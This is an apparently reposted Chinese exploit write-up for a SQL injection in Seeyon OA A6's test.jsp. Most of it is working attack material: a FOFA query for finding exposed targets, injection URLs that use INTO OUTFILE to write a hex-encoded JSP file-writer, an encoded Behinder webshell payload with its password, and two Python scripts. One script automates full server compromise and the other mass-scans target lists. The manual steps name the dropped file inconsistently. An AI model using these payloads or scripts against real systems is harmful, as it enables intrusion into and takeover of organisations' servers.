致远OA A6 test.jsp SQL注入漏洞-棉花糖会员站

# 致远OA A6 test.jsp SQL注入漏洞

## 漏洞描述

致远OA A6 test.jsp 存在sql注入漏洞，并可以通过注入写入webshell文件控制服务器

## 漏洞影响

> [!NOTE]
>
> 致远OA A6

## FOFA

> [!NOTE]
>
> title=”致远A8+协同管理软件.A6″

## 漏洞复现

访问URL

“`
http://xxx.xxx.xxx.xxx/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20database())
“`

返回了当前使用的数据库

要想写入shell需要知道写入的路径

这里得到路径 D:\Program Files\UFseeyon\OA\mysql\bin\..\

通过 into outfile 写入文件，这里因为 jsp木马存在特殊符号，使用 hex编码上传允许文件上传的jsp文件

“`jsp
<%if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%>

HEX编码

3C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C5C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E
“`

“`
http://xxx.xxx.xxx.xxx/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27E:/Program Files/UFseeyon/OA/tomcat/webapps/yyoa/test_upload.jsp%27
“`

显示上图则上传成功，访问 test_upload.jsp 为空白不报错页面不存在就是上传成功

在发送请求包上传webshell，这里上传冰蝎

> [!NOTE]
>
> 注意上传的webshell需要url编码一下

“`
http://xxx.xxx.xxx.xxx/yyoa/peiqi_upload.jsp?f=testwebshell.jsp

t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E
“`

连接木马

## 漏洞利用POC

> [!NOTE]
>
> EXP木马上传

“`python
import requests
import sys
import random
import re
import base64
import time
import json
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: 致远OA \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mUrl >>> http://xxx.xxx.xxx.xxx \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url):
vuln_url = target_url + “/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20@@basedir)”
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, verify=False, timeout=5)
if ‘序号’ in response.text and “@@basedir” in response.text and response.status_code == 200:
OA_dir = re.findall(r’>(.*)\\UFseeyon\\’, response.text)[0]
OA_dir = OA_dir[:2] + ‘/’ + OA_dir[3:]
print(“\033[32m[o] 目标 {}存在漏洞, 安装路径为:{} \033[0m”.format(target_url, OA_dir))
webshell_name = “test_upload{}.jsp”.format(random.randint(1,999))
OA_dir = OA_dir + “/UFseeyon/OA/tomcat/webapps/yyoa/{}”.format(webshell_name)
POC_2(target_url, OA_dir, webshell_name)
else:
print(“\033[31m[x] 目标 {}不存在漏洞 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url), e)

def POC_2(target_url, OA_dir, webshell_name):
vuln_url = target_url + “/yyoa/common/js/menu/test.jsp?doType=101&S1=select%20unhex(%273C25696628726571756573742E676574506172616D657465722822662229213D6E756C6C29286E6577206A6176612E696F2E46696C654F757470757453747265616D286170706C69636174696F6E2E6765745265616C5061746828225C22292B726571756573742E676574506172616D65746572282266222929292E777269746528726571756573742E676574506172616D6574657228227422292E67657442797465732829293B253E%27)%20%20into%20outfile%20%27{}%27”.format(OA_dir)
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, verify=False, timeout=5)
if ‘already’ in response.text and response.status_code == 200:
print(“\033[32m[o] 文件写入木马上传失败，目标已存在相同文件，请重新运行\033[0m”)
elif “No Data” in response.text and response.status_code == 200:
print(“\033[32m[o] 文件写入木马上传成功，上传路径为 {}\033[0m”.format(OA_dir))
POC_3(target_url, webshell_name)
else:
print(“\033[31m[x] 目标 {} 木马上传失败 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url), e)

def POC_3(target_url, webshell_name):
rebe_webshell = “testwebshell{}.jsp”.format(random.randint(1,999))
vuln_url = target_url + “/yyoa/{}?f={}”.format(webshell_name, rebe_webshell)
data = “t=%3C%25%40page%20import%3D%22java.util.*%2Cjavax.crypto.*%2Cjavax.crypto.spec.*%22%25%3E%3C%25!class%20U%20extends%20ClassLoader%7BU(ClassLoader%20c)%7Bsuper(c)%3B%7Dpublic%20Class%20g(byte%20%5B%5Db)%7Breturn%20super.defineClass(b%2C0%2Cb.length)%3B%7D%7D%25%3E%3C%25if%20(request.getMethod().equals(%22POST%22))%7BString%20k%3D%22e45e329feb5d925b%22%3Bsession.putValue(%22u%22%2Ck)%3BCipher%20c%3DCipher.getInstance(%22AES%22)%3Bc.init(2%2Cnew%20SecretKeySpec(k.getBytes()%2C%22AES%22))%3Bnew%20U(this.getClass().getClassLoader()).g(c.doFinal(new%20sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext)%3B%7D%25%3E”
headers = {
“Content-Type”: “application/x-www-form-urlencoded”
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print(“\033[32m[o] 正在请求：{}\033[0m”.format(vuln_url))
response = requests.post(url=vuln_url, data=data, headers=headers, verify=False, timeout=5)
if response.status_code == 200:
print(“\033[32m[o] 木马上传成功, 路径为:{}/yyoa/{}\033[0m”.format(target_url, rebe_webshell))
print(“\033[32m[o] 请使用冰蝎连接，密码为: rebeyond\033[0m”)
else:
print(“\033[31m[x] 木马上传失败，可能被拦截 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url), e)

if __name__ == ‘__main__’:
title()
target_url = str(input(“\033[35mPlease input Attack Url\nUrl >>> \033[0m”))
POC_1(target_url)
“`

> [!NOTE]
>
> 多个目标测试

“`python
import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
print(‘+——————————————‘)
print(‘+ \033[34mPOC_Des: http://wiki.peiqi.tech \033[0m’)
print(‘+ \033[34mGithub : https://github.com/PeiQi0 \033[0m’)
print(‘+ \033[34m公众号 : PeiQi文库 \033[0m’)
print(‘+ \033[34mVersion: 致远OA A6 \033[0m’)
print(‘+ \033[36m使用格式: python3 poc.py \033[0m’)
print(‘+ \033[36mFile >>> ip.txt \033[0m’)
print(‘+——————————————‘)

def POC_1(target_url):
vuln_url = target_url + “/yyoa/common/js/menu/test.jsp?doType=101&S1=(SELECT%20md5(1))”
headers = {
“User-Agent”: “Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36”,
}
try:
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
if “c4ca4238a0b923820dcc509a6f75849b” in response.text and response.status_code == 200:
print(“\033[32m[o] 目标 {}存在漏洞,下载地址:{} \033[0m”.format(target_url, vuln_url))
else:
print(“\033[31m[x] 目标 {}不存在漏洞 \033[0m”.format(target_url))
except Exception as e:
print(“\033[31m[x] 目标 {} 请求失败 \033[0m”.format(target_url))

def Scan(file_name):
with open(file_name, “r”, encoding=’utf8’) as scan_url:
for url in scan_url:
if url[:4] != “http”:
url = “http://” + url
url = url.strip(‘\n’)
try:
POC_1(url)

except Exception as e:
print(“\033[31m[x] 请求报错 \033[0m”.format(e))
continue

if __name__ == ‘__main__’:
title()
file_name = str(input(“\033[35mPlease input Attack File\nFile >>> \033[0m”))
Scan(file_name)
“`